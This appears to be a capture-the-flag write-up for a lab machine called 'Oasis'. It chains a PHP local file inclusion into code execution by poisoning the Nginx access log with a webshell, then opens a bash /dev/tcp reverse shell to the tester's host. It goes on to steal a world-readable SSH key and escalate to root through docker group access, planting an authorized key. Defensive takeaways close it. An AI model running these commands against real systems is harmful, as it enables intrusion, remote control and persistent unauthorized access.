Enumeration
Port Scan
nmap -sCV -p- --min-rate 5000 -T4 10.10.11.91 -oN oasis.nmap
# Key open ports:
# 22/tcp open ssh OpenSSH 9.6p1
# 80/tcp open http nginx/1.26.0
# 8080/tcp open http nginx/1.26.0 (secondary app)
Web Application
Port 80 serves a static company landing page. Port 8080 hosts a PHP application — "Oasis Project Manager" — with a URL structure of ?page=dashboard. Swapping the page value for a path traversal string immediately reveals the LFI:
curl "http://10.10.11.91:8080/?page=../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# ...
# dev:x:1001:1001::/home/dev:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Note the dev user. PHP source reads confirm the vulnerable include:
curl "http://10.10.11.91:8080/?page=php://filter/convert.base64-encode/resource=index.php" \
| base64 -d | grep include
# include($_GET['page'] . '.php');
# No sanitisation — arbitrary .php file or log file with PHP code in it
Foothold — Log Poisoning to RCE
Confirming Log Access
Reading Nginx's access log via the LFI confirms the log path and that requests are logged verbatim:
curl "http://10.10.11.91:8080/?page=../../../../var/log/nginx/access.log"
# 10.10.14.5 - - [09/May/2026:14:22:01 +0000] "GET /?page=../../../../etc/passwd HTTP/1.1"
# 200 1234 "-" "curl/7.88.1"
Inject PHP into the Log
Send a request with a PHP webshell as the User-Agent. Nginx logs the raw User-Agent — when the log is subsequently included by the PHP interpreter, the embedded PHP executes:
# Inject PHP payload into User-Agent
curl -s "http://10.10.11.91:8080/" \
-H 'User-Agent: <?php system($_GET["c"]); ?>'
# Trigger execution by including the poisoned log
curl -s "http://10.10.11.91:8080/?page=../../../../var/log/nginx/access.log&c=id"
# ...<?php system($_GET["c"]); ?>...
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Upgrade to Reverse Shell
# Attacker: listener
nc -lvnp 4444
# One-liner via log poisoning
curl -s "http://10.10.11.91:8080/?page=../../../../var/log/nginx/access.log&c=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"
# Stabilise the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# www-data@oasis:/$
Lateral Movement — SSH Key Discovery
Enumerating the dev User's Home Directory
Listing /home/dev reveals world-readable permissions on the .ssh directory — a misconfiguration that exposes the private key:
ls -la /home/dev/.ssh/
# -rw-r--r-- 1 dev dev 411 May 8 09:14 authorized_keys
# -rw-r--r-- 1 dev dev 2602 May 8 09:14 id_rsa ← world-readable!
# -rw-r--r-- 1 dev dev 572 May 8 09:14 id_rsa.pub
cat /home/dev/.ssh/id_rsa
# Copy the key locally and SSH as dev
chmod 600 dev_id_rsa
ssh -i dev_id_rsa [email protected]
dev@oasis:~$ cat user.txt
# 7f3b9a... ← user flag
Privilege Escalation — Docker Group Escape
Identifying the Attack Path
The dev user's group memberships reveal membership of the docker group:
id
# uid=1001(dev) gid=1001(dev) groups=1001(dev),999(docker)
# Confirm Docker socket is accessible
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 May 9 08:00 /var/run/docker.sock
docker ps
# CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
# (no running containers)
Membership of the docker group is equivalent to root — the Docker socket allows spawning containers with arbitrary volume mounts, including mounting the host root filesystem.
Container Escape via Volume Mount
Pull a minimal image (or use one already present) and spawn a container that mounts the host filesystem at /mnt/host:
docker images
# alpine latest a606584aa9aa 3 weeks ago 7.8MB
docker run -it --rm \
-v /:/mnt/host \
alpine \
/bin/sh
# Inside the container — full read/write access to host filesystem
ls /mnt/host/root/
# root.txt snap ...
cat /mnt/host/root/root.txt
# 2e91cf... ← root flag
Escalate to Interactive Root Shell
For a persistent interactive root shell on the host, write an SSH authorised key to root's authorized_keys via the volume mount:
mkdir -p /mnt/host/root/.ssh
echo 'ssh-ed25519 AAAA... attacker' >> /mnt/host/root/.ssh/authorized_keys
chmod 700 /mnt/host/root/.ssh
chmod 600 /mnt/host/root/.ssh/authorized_keys
exit
# From attacker machine:
ssh -i attacker_key [email protected]
# root@oasis:~#
Key Takeaways
- Log poisoning converts an LFI into RCE on any PHP application that can read server logs. A PHP Local File Inclusion is often treated as a medium-severity information disclosure finding, but the log-poisoning escalation path is well-understood and reliable on applications running alongside a web server that logs verbatim request headers. The fix for LFI is simple: never use user-supplied input as a file path — use an allowlist of valid page names and map them to file paths server-side.
-
SSH private keys must be mode 600 and owned by the user.
A world-readable
id_rsanegates the entire security model of SSH key authentication. SSH clients enforce this themselves (rejecting keys with permissions too broad), but the server-side key has no such protection. File permission audits should always include home directories, particularly.ssh/subdirectories. - Docker group membership is root. This is documented in the Docker documentation but consistently overlooked in practice. The Docker daemon runs as root and the socket it exposes allows spawning containers with arbitrary host volume mounts, making docker group membership a trivially exploitable local privilege escalation. Production systems should restrict docker group membership to automation accounts with specific container names whitelisted, or use rootless Docker / Podman for developer workflows.